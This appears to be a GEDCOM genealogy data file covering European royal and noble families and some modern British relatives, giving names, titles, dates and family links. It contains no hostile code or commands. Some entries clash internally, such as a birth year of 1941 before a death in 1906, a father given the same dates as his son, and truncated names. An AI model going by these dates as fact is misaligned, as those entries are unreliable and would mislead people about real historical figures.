+1 FAMC @F1325@
+0 @I2827@ INDI
+1 NAME Maria  //
+1 SEX F
+1 BIRT
+2 DATE        1962
+1 FAMC @F1325@
+0 @I2828@ INDI
+1 NAME Gunnar  //
+1 SEX M
+1 BIRT
+2 DATE        1963
+1 FAMC @F1325@
+0 @I2829@ INDI
+1 NAME Margaretha  //
+1 SEX F
+1 BIRT
+2 DATE        1899
+1 DEAT
+2 DATE        1977
+1 FAMS @F1326@
+1 FAMC @F215@
+0 @I2830@ INDI
+1 NAME Axel of_Denmark //
+1 SEX M
+1 FAMS @F1326@
+0 @I2831@ INDI
+1 NAME Elsa  /von_Rosen/
+1 TITL Countess
+1 SEX F
+1 BIRT
+2 DATE        1904
+1 FAMS @F1327@
+0 @I2832@ INDI
+1 NAME Madeline Bernadotte //
+1 TITL Countess
+1 SEX F
+1 BIRT
+2 DATE        1938
+1 FAMS @F1328@
+1 FAMC @F1327@
+0 @I2833@ INDI
+1 NAME Charles de_Schooten /Ullens/
+1 TITL Count
+1 SEX M
+1 BIRT
+2 DATE        1927
+1 FAMS @F1328@
+0 @I2834@ INDI
+1 NAME Marie Christine /Ullens/
+1 SEX F
+1 BIRT
+2 DATE        1964
+1 FAMC @F1328@
+0 @I2835@ INDI
+1 NAME Jean Charles /Ullens/
+1 SEX M
+1 BIRT
+2 DATE        1965
+1 FAMC @F1328@
+0 @I2836@ INDI
+1 NAME Astrid  /Ullens/
+1 SEX F
+1 BIRT
+2 DATE        1970
+1 FAMC @F1328@
+0 @I2837@ INDI
+1 NAME Sophie  /Ullens/
+1 SEX F
+1 BIRT
+2 DATE        1972
+1 FAMC @F1328@
+0 @I2838@ INDI
+1 NAME Ann  /Larsson/
+1 SEX F
+1 BIRT
+2 DATE        1921
+1 FAMS @F1329@
+0 @I2839@ INDI
+1 NAME Mary  //
+1 SEX F
+1 BIRT
+2 DATE        1882
+1 DEAT
+2 DATE        1962
+1 FAMS @F1276@
+1 FAMC @F1330@
+0 @I2840@ INDI
+1 NAME Roland  /Bonaparte/
+1 TITL Prince
+1 SEX M
+1 FAMS @F1330@
+0 @I2841@ INDI
+1 NAME Irene  /Ovchinnikov/
+1 SEX F
+1 BIRT
+2 DATE        1904
+1 FAMS @F1331@
+0 @I2842@ INDI
+1 NAME Eugenia  /Oldenburg/
+1 SEX F
+1 BIRT
+2 DATE        1910
+1 FAMS @F1332@
+1 FAMS @F1333@
+1 FAMC @F1276@
+0 @I2843@ INDI
+1 NAME Dominic  /Radziwill/
+1 TITL Prince
+1 SEX M
+1 BIRT
+2 DATE        1911
+1 DEAT
+2 DATE        1976
+1 FAMS @F1332@
+0 @I2844@ INDI
+1 NAME Raymond of_Castel //
+1 TITL Duke
+1 SEX M
+1 BIRT
+2 DATE        1907
+1 FAMS @F1333@
+0 @I2845@ INDI
+1 NAME Anastasia  /Stewart/
+1 SEX F
+1 BIRT
+2 DATE        1883
+1 DEAT
+2 DATE        1923
+1 FAMS @F1334@
+0 @I2846@ INDI
+1 NAME Francis of_Guise //
+1 SEX F
+1 BIRT
+2 DATE        1902
+1 DEAT
+2 DATE        1953
+1 FAMS @F1335@
+0 @I2847@ INDI
+1 NAME Perikles Joannides //
+1 SEX M
+1 BIRT
+2 DATE        1881
+1 DEAT
+2 DATE        1965
+1 FAMS @F1336@
+0 @I2848@ INDI
+1 NAME Michael  /Oldenburg/
+1 SEX M
+1 BIRT
+2 DATE        1939
+1 FAMS @F1337@
+1 FAMC @F1334@
+0 @I2849@ INDI
+1 NAME Marina  /Karella/
+1 SEX F
+1 BIRT
+2 DATE        1940
+1 FAMS @F1337@
+0 @I2850@ INDI
+1 NAME Louise  //
+1 SEX F
+1 BIRT
+2 DATE        1726
+1 DEAT
+2 DATE        1756
+1 FAMS @F1338@
+1 FAMC @F631@
+0 @I2851@ INDI
+1 NAME Ernest Frederick_III of_Saxe-//
+1 TITL Duke
+1 SEX M
+1 BIRT
+2 DATE        1727
+1 DEAT
+2 DATE        1780
+1 FAMS @F1338@
+0 @I2852@ INDI
+1 NAME Gustaf_III  //
+1 TITL King of Sweden
+1 SEX M
+1 BIRT
+2 DATE        1746
+1 DEAT
+2 DATE        1792
+1 FAMS @F1339@
+0 @I2853@ INDI
+1 NAME William_I of_Hesse-Cassel //
+1 TITL Elector
+1 SEX M
+1 BIRT
+2 DATE        1743
+1 DEAT
+2 DATE        1821
+1 FAMS @F1340@
+0 @I2854@ INDI
+1 NAME Charles  //
+1 SEX M
+1 BIRT
+2 DATE        1680
+1 DEAT
+2 DATE        1729
+1 FAMC @F634@
+0 @I2855@ INDI
+1 NAME William  //
+1 SEX M
+1 BIRT
+2 DATE        1687
+1 DEAT
+2 DATE        1705
+1 FAMC @F634@
+0 @I2856@ INDI
+1 NAME Anne Sophia //
+1 SEX F
+1 BIRT
+2 DATE        1647
+1 DEAT
+2 DATE        1717
+1 FAMC @F637@
+0 @I2857@ INDI
+1 NAME Frederica  //
+1 SEX F
+1 BIRT
+2 DATE        1649
+1 DEAT
+2 DATE        1704
+1 FAMC @F637@
+0 @I2858@ INDI
+1 NAME Ulrica  //
+1 SEX F
+1 BIRT
+2 DATE        1656
+1 DEAT
+2 DATE        1693
+1 FAMS @F1341@
+1 FAMC @F637@
+0 @I2859@ INDI
+1 NAME Charles_XI  //
+1 TITL King of Sweden
+1 SEX M
+1 BIRT
+2 DATE        1655
+1 DEAT
+2 DATE        1697
+1 FAMS @F1341@
+0 @I2860@ INDI
+1 NAME Ulrich  //
+1 SEX M
+1 BIRT
+2 DATE        1578
+1 DEAT
+2 DATE        1624
+1 FAMC @F268@
+0 @I2861@ INDI
+1 NAME Augusta  //
+1 SEX F
+1 BIRT
+2 DATE        1580
+1 DEAT
+2 DATE        1639
+1 FAMC @F268@
+0 @I2862@ INDI
+1 NAME Hedwig  //
+1 SEX F
+1 BIRT
+2 DATE        1581
+1 DEAT
+2 DATE        1641
+1 FAMC @F268@
+0 @I2863@ INDI
+1 NAME Christopher_III  //
+1 TITL King of Denmark
+1 SEX M
+1 BIRT
+2 DATE        1416
+1 DEAT
+2 DATE        1448
+1 FAMS @F1342@
+0 @I2864@ INDI
+1 NAME Christina  //
+1 SEX F
+1 BIRT
+2 DATE        1461
+1 DEAT
+2 DATE        1521
+1 FAMS @F1343@
+0 @I2865@ INDI
+1 NAME Anne  /de_la_Tour/
+1 SEX F
+1 BIRT
+2 DATE        1512
+1 FAMS @F1344@
+0 @I2866@ INDI
+1 NAME Alexander  //
+1 TITL Bishop of Moray
+1 SEX M
+1 BIRT
+2 DATE        1534
+1 FAMC @F553@
+0 @I2867@ INDI
+1 NAME James  //
+1 TITL Duke of Ross
+1 SEX M
+1 BIRT
+2 DATE        1476
+1 DEAT
+2 DATE        1503
+1 FAMC @F460@
+0 @I2868@ INDI
+1 NAME John  //
+1 TITL Earl of Mar
+1 SEX M
+1 BIRT
+2 DATE        1479
+1 DEAT
+2 DATE        1503
+1 FAMC @F460@
+0 @I2869@ INDI
+1 NAME Edward  //
+1 TITL Earl of Carrick
+1 SEX M
+1 DEAT
+2 DATE        1318
+1 FAMC @F740@
+0 @I2870@ INDI
+1 NAME Thomas  //
+1 SEX M
+1 DEAT
+2 DATE        1307
+1 FAMC @F740@
+0 @I2871@ INDI
+1 NAME Alexander  //
+1 SEX M
+1 DEAT
+2 DATE        1307
+1 FAMC @F740@
+0 @I2872@ INDI
+1 NAME Nigel  //
+1 SEX M
+1 DEAT
+2 DATE        1306
+1 FAMC @F740@
+0 @I2873@ INDI
+1 NAME Isabel  //
+1 SEX F
+1 BIRT
+2 DATE        1358
+1 FAMC @F740@
+0 @I2874@ INDI
+1 NAME Mary Christina of_Sicily//
+1 SEX F
+1 BIRT
+2 DATE        1806
+1 DEAT
+2 DATE        1878
+1 FAMS @F454@
+0 @I2875@ INDI
+1 NAME Antonia of_Sicily //
+1 SEX F
+1 BIRT
+2 DATE        1784
+1 DEAT
+2 DATE        1806
+1 FAMS @F1345@
+0 @I2876@ INDI
+1 NAME Isabella of_Portugal //
+1 SEX F
+1 BIRT
+2 DATE        1797
+1 DEAT
+2 DATE        1818
+1 FAMS @F1346@
+0 @I2877@ INDI
+1 NAME Mary Josepha //
+1 SEX F
+1 BIRT
+2 DATE        1803
+1 DEAT
+2 DATE        1829
+1 FAMS @F1347@
+0 @I2878@ INDI
+1 NAME Charles_IV  //
+1 SEX M
+1 BIRT
+2 DATE        1748
+1 DEAT
+2 DATE        1819
+1 FAMS @F1348@
+1 FAMC @F1349@
+0 @I2879@ INDI
+1 NAME Maria Louisa of_Parma//
+1 SEX F
+1 BIRT
+2 DATE        1751
+1 DEAT
+2 DATE        1819
+1 FAMS @F1348@
+0 @I2880@ INDI
+1 NAME Charles_III  //
+1 TITL King of Spain
+1 SEX M
+1 BIRT
+2 DATE        1716
+1 DEAT
+2 DATE        1788
+1 FAMS @F1349@
+1 FAMC @F1142@
+0 @I2881@ INDI
+1 NAME Mary Amalia //
+1 SEX F
+1 BIRT
+2 DATE        1724
+1 DEAT
+2 DATE        1760
+1 FAMS @F1349@
+0 @I2882@ INDI
+1 NAME Mary Anne of_Bavaria//
+1 SEX F
+1 BIRT
+2 DATE        1660
+1 DEAT
+2 DATE        1690
+1 FAMS @F1143@
+0 @I2883@ INDI
+1 NAME Mary Louise //
+1 SEX F
+1 BIRT
+2 DATE        1688
+1 DEAT
+2 DATE        1714
+1 FAMS @F1350@
+0 @I2884@ INDI
+1 NAME Charles  //
+1 TITL Duke of Styria
+1 SEX M
+1 BIRT
+2 DATE        1540
+1 DEAT
+2 DATE        1590
+1 FAMS @F1351@
+0 @I2885@ INDI
+1 NAME Philip_I the_Handsome //
+1 TITL King of Castile
+1 SEX M
+1 BIRT
+2 DATE        1478
+2 PLAC Bruges,Flanders
+1 DEAT
+2 DATE        1506
+1 FAMS @F1352@
+0 @I2886@ INDI
+1 NAME Germaine of_Narbonne //
+1 SEX F
+1 DEAT
+2 DATE        1536
+1 FAMS @F1353@
+0 @I2887@ INDI
+1 NAME Isabella  //
+1 SEX F
+1 BIRT
+2 DATE        1470
+1 DEAT
+2 DATE        1498
+1 FAMS @F1354@
+1 FAMS @F1355@
+1 FAMC @F320@
+0 @I2888@ INDI
+1 NAME Mary  //
+1 SEX F
+1 BIRT
+2 DATE        1482
+1 DEAT
+2 DATE        1517
+1 FAMC @F320@
+0 @I2889@ INDI
+1 NAME John  //
+1 SEX M
+1 BIRT
+2 DATE        1478
+1 DEAT
+2 DATE        1497
+1 FAMS @F1356@
+1 FAMC @F320@
+0 @I2890@ INDI
+1 NAME Alphonso of_Portugal //
+1 SEX M
+1 BIRT
+2 DATE        1475
+1 DEAT
+2 DATE        1491
+1 FAMS @F1354@
+0 @I2891@ INDI
+1 NAME Emanuel  //
+1 TITL King of Portugal
+1 SEX M
+1 BIRT
+2 DATE        1469
+1 DEAT
+2 DATE        1521
+1 FAMS @F1358@
+0 @I2892@ INDI
+1 NAME Margaret  //
+1 SEX F
+1 BIRT
+2 DATE        1480
+1 DEAT
+2 DATE        1530
+1 FAMS @F1356@
+1 FAMS @F1357@
+0 @I2893@ INDI
+1 NAME Philibert_II  //
+1 TITL Duke of Savoy
+1 SEX M
+1 DEAT
+2 DATE        1504
+1 FAMS @F1357@
+0 @I2894@ INDI
+1 NAME Eleanor  //
+1 SEX F
+1 BIRT
+2 DATE        1498
+1 DEAT
+2 DATE        1558
+1 FAMS @F1358@
+1 FAMS @F1359@
+1 FAMC @F1352@
+0 @I2895@ INDI
+1 NAME Henry_XXIV Reuss-Ebersdorf //
+1 TITL Count
+1 SEX M
+1 BIRT
+2 DATE        1724
+1 DEAT
+2 DATE        1779
+1 FAMS @F1228@
+0 @I2896@ INDI
+1 NAME Caroline Erbach-Schonberg //
+1 TITL Countess
+1 SEX F
+1 BIRT
+2 DATE        1727
+1 DEAT
+2 DATE        1795
+1 FAMS @F1228@
+0 @I2897@ INDI
+1 NAME Ernest Frederick of_Saxe-Coburg//
+1 TITL Duke
+1 SEX M
+1 BIRT
+2 DATE        1724
+1 DEAT
+2 DATE        1800
+1 FAMS @F1360@
+0 @I2898@ INDI
+1 NAME Sophia Antonia of_Brunswick//
+1 TITL Princess
+1 SEX F
+1 BIRT
+2 DATE        1724
+1 DEAT
+2 DATE        1802
+1 FAMS @F1360@
+0 @I2899@ INDI
+1 NAME Michael of_Portugal //
+1 TITL Prince
+1 SEX M
+1 FAMS @F1361@
+0 @I2900@ INDI
+1 NAME Emanuel of_Orleans //
+1 TITL Duke of Vendome
+1 SEX M
+1 BIRT
+2 DATE        1872
+1 DEAT
+2 DATE        1931
+1 FAMS @F1362@
+0 @I2901@ INDI
+1 NAME Louise  //
+1 SEX F
+1 BIRT
+2 DATE        1858
+1 DEAT
+2 DATE        1924
+1 FAMS @F1366@
+1 FAMC @F1154@
+0 @I2902@ INDI
+1 NAME Stephanie  //
+1 SEX F
+1 BIRT
+2 DATE        1864
+1 DEAT
+2 DATE        1945
+1 FAMS @F1364@
+1 FAMS @F1365@
+1 FAMC @F1154@
+0 @I2903@ INDI
+1 NAME Clementine  //
+1 SEX F
+1 BIRT
+2 DATE        1872
+1 DEAT
+2 DATE        1955
+1 FAMS @F1363@
+1 FAMC @F1154@
+0 @I2904@ INDI
+1 NAME Victor  //
+1 TITL Prince Napoleon
+1 SEX M
+1 BIRT
+2 DATE        1862
+1 DEAT
+2 DATE        1926
+1 FAMS @F1363@
+0 @I2905@ INDI
+1 NAME Rudolph of_Austria //
+1 TITL Crown Prince
+1 SEX M
+1 BIRT
+2 DATE        1858
+1 DEAT
+2 DATE        1889
+1 FAMS @F1364@
+0 @I2906@ INDI
+1 NAME Elemer  //
+1 TITL Prince Lonyai
+1 SEX M
+1 BIRT
+2 DATE        1863
+1 DEAT
+2 DATE        1946
+1 FAMS @F1365@
+0 @I2907@ INDI
+1 NAME Philip of_Saxe-Coburg //
+1 TITL Prince
+1 SEX M
+1 BIRT
+2 DATE        1844
+1 DEAT
+2 DATE        1921
+1 FAMS @F1366@
+0 @I2908@ INDI
+1 NAME Sophia  //
+1 SEX F
+1 BIRT
+2 DATE        1760
+1 DEAT
+2 DATE        1776
+1 FAMS @F1367@
+0 @I2909@ INDI
+1 NAME Alexandrine of_Baden //
+1 SEX F
+1 BIRT
+2 DATE        1820
+1 DEAT
+2 DATE        1904
+1 FAMS @F1369@
+0 @I2910@ INDI
+1 NAME Antoinette (Antonia) /Kohary/
+1 SEX F
+1 BIRT
+2 DATE        1797
+1 DEAT
+2 DATE        1862
+1 FAMS @F1370@
+0 @I2911@ INDI
+1 NAME Louis_I of_Hesse-Darmst. //
+1 TITL Landgrave
+1 SEX M
+1 BIRT
+2 DATE        1753
+1 DEAT
+2 DATE        1830
+1 FAMS @F1371@
+0 @I2912@ INDI
+1 NAME Louise of_Hesse-Darmst. //
+1 SEX F
+1 BIRT
+2 DATE        1761
+1 DEAT
+2 DATE        1829
+1 FAMS @F1371@
+0 @I2913@ INDI
+1 NAME Marie Christine //
+1 SEX F
+1 DEAT
+2 DATE        1663
+1 FAMC @F271@
+0 @I2914@ INDI
+1 NAME Marie de_Bourbon //
+1 SEX F
+1 FAMS @F1372@
+0 @I2915@ INDI
+1 NAME Ann Marie Louise//
+1 TITL Duchess
+1 SEX F
+1 BIRT
+2 DATE        1627
+1 DEAT
+2 DATE        1693
+1 FAMC @F1372@
+0 @I2916@ INDI
+1 NAME Elizabeth Charlotte of_Bavaria//
+1 SEX F
+1 BIRT
+2 DATE        1652
+1 DEAT
+2 DATE        1722
+1 FAMS @F1373@
+0 @I2917@ INDI
+1 NAME Elizabeth Charlotte //
+1 SEX F
+1 BIRT
+2 DATE        1676
+1 FAMS @F1374@
+1 FAMC @F1373@
+0 @I2918@ INDI
+1 NAME Leopold Joseph de_Lorraine//
+1 TITL Duke
+1 SEX M
+1 FAMS @F1374@
+0 @I2919@ INDI
+1 NAME Francoise Marie de_Blois//
+1 TITL Mademoiselle
+1 SEX F
+1 BIRT
+2 DATE        1677
+1 DEAT
+2 DATE        1749
+1 FAMS @F1191@
+0 @I2920@ INDI
+1 NAME Marie Adelaide of_Savoy//
+1 SEX F
+1 BIRT
+2 DATE        1685
+1 DEAT
+2 DATE        1712
+1 FAMS @F344@
+0 @I2921@ INDI
+1 NAME Marie Louise of_Orleans//
+1 SEX F
+1 BIRT
+2 DATE        1695
+1 DEAT
+2 DATE        1715
+1 FAMS @F1375@
+1 FAMC @F1191@
+0 @I2922@ INDI
+1 NAME Ivan of_Shestov //
+1 SEX M
+1 FAMS @F1376@
+0 @I2923@ INDI
+1 NAME Ivan  /Rayevski/
+1 SEX M
+1 FAMS @F1377@
+0 @I2924@ INDI
+1 NAME Constantine  /Volkonski/
+1 SEX M
+1 FAMS @F1378@
+0 @I2925@ INDI
+1 NAME Zenaida  /Rashevska/
+1 SEX F
+1 BIRT
+2 DATE        1898
+1 DEAT
+2 DATE        1963
+1 FAMS @F1379@
+0 @I2926@ INDI
+1 NAME Felix Krzesinski //
+1 SEX M
+1 FAMS @F1380@
+0 @I2927@ INDI
+1 NAME Valerian  /Karnovich/
+1 SEX M
+1 FAMS @F1382@
+0 @I2928@ INDI
+1 NAME John  /Emery/
+1 SEX M
+1 FAMS @F1383@
+0 @I2929@ INDI
+1 NAME Susan  /Deptford/
+1 SEX F
+1 FAMS @F1384@
+0 @I2930@ INDI
+1 NAME Andrew  /Ferguson/
+1 SEX M
+1 BIRT
+2 DATE        1978
+1 FAMC @F1384@
+0 @I2931@ INDI
+1 NAME Alice  /Ferguson/
+1 SEX F
+1 BIRT
+2 DATE        1980
+1 FAMC @F1384@
+0 @I2932@ INDI
+1 NAME Elizabeth (Eliza) /Ferguson/
+1 SEX F
+1 BIRT
+2 DATE        1985
+1 FAMC @F1384@
+0 @I2933@ INDI
+1 NAME Mervyn Powerscourt /Wingfield/
+1 TITL Viscount
+1 SEX M
+1 BIRT
+2 DATE        1880
+1 DEAT
+2 DATE        1947
+1 FAMS @F1385@
+1 FAMC @F1386@
+0 @I2934@ INDI
+1 NAME Mervyn  /Wingfield/
+1 SEX M
+1 BIRT
+2 DATE        1836
+1 DEAT
+2 DATE        1904
+1 FAMS @F1386@
+0 @I2935@ INDI
+1 NAME Julia  /Coke/
+1 TITL Lady
+1 SEX F
+1 BIRT
+2 DATE        1844
+1 DEAT
+2 DATE        1931
+1 FAMS @F1386@
+1 FAMC @F1399@
+0 @I2936@ INDI
+1 NAME Henry Fitzherbert /Wright/
+1 SEX M
+1 BIRT
+2 DATE        1870
+1 DEAT
+2 DATE        1947
+1 FAMS @F1387@
+0 @I2937@ INDI
+1 NAME Muriel  /Fletcher/
+1 SEX F
+1 BIRT
+2 DATE        1873
+1 DEAT
+2 DATE        1955
+1 FAMS @F1387@
+1 FAMC @F1388@
+0 @I2938@ INDI
+1 NAME Henry  /Fletcher/
+1 TITL Col.
+1 SEX M
+1 BIRT
+2 DATE        1833
+1 DEAT
+2 DATE        1879
+1 FAMS @F1388@
+0 @I2939@ INDI
+1 NAME Harriet  /Marsham/
+1 TITL Lady
+1 SEX F
+1 BIRT
+2 DATE        1838
+1 DEAT
+2 DATE        1886
+1 FAMS @F1388@
+1 FAMC @F1389@
+0 @I2940@ INDI
+1 NAME Charles  /Marsham/
+1 TITL Earl of Romney
+1 SEX M
+1 BIRT
+2 DATE        1808
+1 DEAT
+2 DATE        1874
+1 FAMS @F1389@
+0 @I2941@ INDI
+1 NAME Margaret -Scott /Montagu-Douglas-/
+1 TITL Lady
+1 SEX F
+1 BIRT
+2 DATE        1811
+1 DEAT
+2 DATE        1836
+1 FAMS @F1389@
+1 FAMC @F1390@
+0 @I2942@ INDI
+1 NAME Charles of_Buccleuch /Montagu-Douglas/
+1 TITL Duke
+1 SEX M
+1 BIRT
+2 DATE        1772
+1 DEAT
+2 DATE        1819
+1 FAMS @F1390@
+1 FAMC @F1396@
+0 @I2943@ INDI
+1 NAME Walter -Scott of_Buccleuch/Montagu-Douglas-/
+1 TITL Duke
+1 SEX M
+1 BIRT
+2 DATE        1806
+1 DEAT
+2 DATE        1884
+1 FAMS @F1391@
+1 FAMC @F1390@
+0 @I2944@ INDI
+1 NAME William -Scott of_Buccleuch/Montagu-Douglas-/
+1 TITL Duke
+1 SEX M
+1 BIRT
+2 DATE        1831
+1 DEAT
+2 DATE        1914
+1 FAMS @F1392@
+1 FAMC @F1391@
+0 @I2945@ INDI
+1 NAME Louisa  /Hamilton/
+1 TITL Lady
+1 SEX F
+1 BIRT
+2 DATE        1836
+1 DEAT
+2 DATE        1912
+1 FAMS @F1392@
+0 @I2946@ INDI
+1 NAME Herbert -Scott /Montagu-Douglas-/
+1 TITL Lord
+1 SEX M
+1 BIRT
+2 DATE        1872
+1 DEAT
+2 DATE        1944
+1 FAMS @F1393@
+1 FAMC @F1392@
+0 @I2947@ INDI
+1 NAME Margaret  /Brand/
+1 TITL Hon.
+1 SEX F
+1 BIRT
+2 DATE        1873
+1 DEAT
+2 DATE        1948
+1 FAMS @F304@
+1 FAMC @F1394@
+0 @I2948@ INDI
+1 NAME Henry  /Brand/
+1 TITL Viscount Hampden
+1 SEX M
+1 BIRT
+2 DATE        1941
+1 DEAT
+2 DATE        1906
+1 FAMS @F1394@
+1 FAMC @F1395@
+0 @I2949@ INDI
+1 NAME Henry  /Brand/
+1 TITL Viscount Hampden
+1 SEX M
+1 BIRT
+2 DATE        1814
+1 DEAT
+2 DATE        1892
+1 FAMS @F1395@
+0 @I2950@ INDI
+1 NAME Henry of_Buccleuch /Scott/
+1 TITL Duke
+1 SEX M
+1 BIRT
+2 DATE        1772
+1 DEAT
+2 DATE        1819
+1 FAMS @F1396@
+1 FAMC @F1397@
+0 @I2951@ INDI
+1 NAME Francis  /Scott/
+1 TITL Earl of Dalkeith
+1 SEX M
+1 BIRT
+2 DATE        1721
+1 DEAT
+2 DATE        1750
+1 FAMS @F1397@
+1 FAMC @F1398@
+0 @I2952@ INDI
+1 NAME Francis of_Buccleuch /Scott/
+1 TITL Duke
+1 SEX M
+1 BIRT
+2 DATE        1695
+1 DEAT
+2 DATE        1751
+1 FAMS @F1398@
+0 @I2953@ INDI
+1 NAME Thomas of_Leicester /Coke/
+1 TITL Earl
+1 SEX M
+1 BIRT
+2 DATE        1822
+1 DEAT
+2 DATE        1902
+1 FAMS @F1399@
+1 FAMC @F1400@
+0 @I2954@ INDI
+1 NAME Thomas of_Leicester /Coke/
+1 TITL Earl
+1 SEX M
+1 BIRT
+2 DATE        1754
+1 DEAT
+2 DATE        1842
+1 FAMS @F1400@
+0 @I2955@ INDI
+1 NAME Anne  /Keppel/
+1 TITL Lady
+1 SEX F
+1 BIRT
+2 DATE        1803
+1 DEAT
+2 DATE        1844
+1 FAMS @F1400@
+1 FAMC @F1401@
+0 @I2956@ INDI
+1 NAME William of_Albemarle /Keppel/
+1 TITL Earl
+1 SEX M
+1 BIRT
+2 DATE        1724
+1 DEAT
+2 DATE        1772
+1 FAMS @F1401@
+0 @I2957@ INDI
+1 NAME Richard  //
+1 SEX M
+1 DEAT
+2 DATE        1120
+1 FAMC @F506@
+0 @I2958@ INDI
+1 NAME Eugenie Victoria Helena/Windsor/
+1 TITL Princess
+1 SEX F
+1 BIRT
+2 DATE 23 MAR 1990
+2 PLAC London,England
+1 CHR
+2 DATE 23 DEC 1990
+2 PLAC Sandringham,England
+1 FAMC @F53@
+0 @I2959@ INDI
+1 NAME Ayesha  /Makim/
+1 SEX F
+1 BIRT
+2 DATE ABT    1986
+1 FAMC @F312@
+0 @I2960@ INDI
+1 NAME Paul  /Mowatt/
+1 SEX M
+1 BIRT
+2 DATE ABT    1962
+1 FAMS @F1402@
+0 @I2961@ INDI
+1 NAME   /Mowatt/
+1 SEX F
+1 BIRT
+2 DATE 26 MAY 1990
+1 FAMC @F1402@
+0 @I2962@ INDI
+1 NAME Victoria  /Lockwood/
+1 SEX F
+1 BIRT
+2 DATE        1964
+1 FAMS @F1403@
+0 @I2963@ INDI
+1 NAME Kitty  //
+1 SEX F
+1 BIRT
+2 DATE ABT    1991
+1 FAMC @F1403@
+0 @I2964@ INDI
+1 NAME Olga  //
+1 TITL Princess
+1 SEX F
+1 FAMS @F1404@
+1 FAMC @F76@
+0 @I2965@ INDI
+1 NAME Paul of_Yugoslavia //
+1 TITL Prince
+1 SEX M
+1 FAMS @F1404@
+0 @I2966@ INDI
+1 NAME Son  //
+1 SEX M
+1 FAMC @F1404@
+0 @I2967@ INDI
+1 NAME Elizabeth  //
+1 SEX F
+1 FAMC @F76@
+0 @I2968@ INDI
+1 NAME Peter  /Phillips/
+1 TITL Major
+1 SEX M
+1 FAMS @F1405@
+0 @I2969@ INDI
+1 NAME Sylvana  /Tomaselli/
+1 SEX F
+1 BIRT
+2 DATE ABT    1957
+2 PLAC Canada
+1 FAMS @F1407@
+1 FAMS @F1406@
+1 FAMC @F1408@
+0 @I2970@ INDI
+1 NAME John Paul /Jones/
+1 SEX M
+1 FAMS @F1407@
+0 @I2971@ INDI
+1 NAME Max  /Tomaselli/
+1 SEX M
+1 BIRT
+2 PLAC Austria
+1 FAMS @F1408@
+0 @I2972@ INDI
+1 NAME Josiane  /Derners/
+1 TITL Madame
+1 SEX F
+1 BIRT
+2 PLAC France
+1 FAMS @F1408@
+0 @I2973@ INDI
+1 NAME Antoinette  //
+1 SEX F
+1 FAMC @F1147@
+0 @I2974@ INDI
+1 NAME Sophie  //
+1 SEX F
+1 FAMC @F1147@
+0 @I2975@ INDI
+1 NAME Julie  //
+1 SEX F
+1 FAMC @F1147@
+0 @I2976@ INDI
+1 NAME Emich Karl of_Leiningen//
+1 TITL Prince
+1 SEX M
+1 BIRT
+2 DATE ABT    1762
+1 DEAT
+2 DATE        1814
+1 FAMS @F1409@
+0 @I2977@ INDI
+1 NAME Lucy  /Lindsay-Hogg/
+1 SEX F
+1 FAMS @F1410@
+0 @I2978@ INDI
+1 NAME Frances  /Armstrong-Jones/
+1 TITL Lady
+1 SEX F
+1 BIRT
+2 DATE 17 JUL 1979
+1 FAMC @F1410@
+0 @I2979@ INDI
+1 NAME Julia  /Rawlinson/
+1 SEX F
+1 FAMS @F1411@
+0 @I2980@ INDI
+1 NAME Athol  /Schmith/
+1 SEX M
+1 FAMS @F1412@
+0 @I2981@ INDI
+1 NAME   /Schmith/
+1 SEX M
+1 BIRT
+2 DATE ABT    1943
+1 FAMC @F1412@
+0 @I2982@ INDI
+1 NAME Erwin  /Stein/
+1 SEX M
+1 FAMS @F1413@
+0 @I2983@ INDI
+1 NAME Sophie  //
+1 SEX F
+1 FAMS @F1413@
+0 @I2984@ INDI
+1 NAME Alexander (Sachie) /McCorquodale/
+1 SEX M
+1 BIRT
+2 DATE ABT    1898
+1 FAMS @F299@
+0 @I2985@ INDI
+1 NAME Gerald  /Legge/
+1 TITL Earl Dartmouth
+1 SEX M
+1 FAMS @F1414@
+1 FAMC @F1417@
+0 @I2986@ INDI
+1 NAME Hugh  /McCorquodale/
+1 SEX M
+1 FAMS @F1415@
+1 FAMC @F1416@
+0 @I2987@ INDI
+1 NAME Harold  /McCorquodale/
+1 SEX M
+1 FAMS @F1416@
+0 @I2988@ INDI
+1 NAME Gracie  //
+1 SEX F
+1 FAMS @F1416@
+0 @I2989@ INDI
+1 NAME Ian  /McCorquodale/
+1 SEX M
+1 BIRT
+2 DATE 11 OCT 1937
+1 FAMC @F1415@
+0 @I2990@ INDI
+1 NAME   /Legge/
+1 FAMC @F1414@
+0 @I2991@ INDI
+1 NAME   /Legge/
+1 FAMC @F1414@
+0 @I2992@ INDI
+1 NAME   /Legge/
+1 FAMC @F1414@
+0 @I2993@ INDI
+1 NAME   /Legge/
+1 FAMC @F1414@
+0 @I2994@ INDI
+1 NAME Humphrey  /Legge/
+1 TITL Hon.
+1 SEX M
+1 FAMS @F1417@
+0 @I2995@ INDI
+1 NAME Bertram (Bertie) /Cartland/
+1 TITL Major
+1 SEX M
+1 DEAT
+2 DATE 27 MAY 1917
+1 FAMS @F1418@
+1 FAMC @F1422@
+0 @I2996@ INDI
+1 NAME Mary Hamilton (Polly)/Scobell/
+1 SEX F
+1 BIRT
+2 DATE  5 SEP 1877
+1 FAMS @F1418@
+1 FAMC @F1419@
+0 @I2997@ INDI
+1 NAME Ronald  /Cartland/
+1 SEX M
+1 BIRT
+2 DATE  3 JAN 1907
+1 DEAT
+2 DATE 30 MAY 1940
+2 PLAC Nr Cassel,France
+1 FAMC @F1418@
+0 @I2998@ INDI
+1 NAME Anthony (Tony) /Cartland/
+1 SEX M
+1 BIRT
+2 DATE  4 JAN 1912
+1 DEAT
+2 DATE 29 MAY 1940
+1 BURI
+2 PLAC Zuidschote
+1 FAMC @F1418@
+0 @I2999@ INDI
+1 NAME Edith  /Palairet/
+1 SEX F
+1 FAMS @F1419@
+1 FAMC @F1420@
+0 @I3000@ INDI
+1 NAME Mary Anne /Hamilton/
+1 SEX F
+1 FAMS @F1420@
+1 FAMC @F1421@
+0 @I3001@ INDI
+1 NAME Andrew  /Hamilton/
+1 SEX M
+1 FAMS @F1421@
+0 @I3002@ INDI
+1 NAME George  /Scobell/
+1 SEX M
+1 FAMS @F1419@
+0 @I3003@ INDI
+1 NAME Melloney  /Scobell/
+1 SEX F
+1 FAMC @F1419@
+0 @I3004@ INDI
+1 NAME   /Scobell/
+1 SEX M
+1 BIRT
+2 PLAC Florence,Italy
+1 DEAT
+2 DATE BEF    1877
+1 FAMC @F1419@
+0 @I3005@ INDI
+1 NAME Emily  /Scobell/
+1 SEX F
+1 FAMC @F1419@
+0 @I3006@ INDI
+1 NAME John Sanford /Scobell/
+1 TITL Sir
+1 SEX M
+1 BIRT
+2 DATE        1879
+1 FAMC @F1419@
+0 @I3007@ INDI
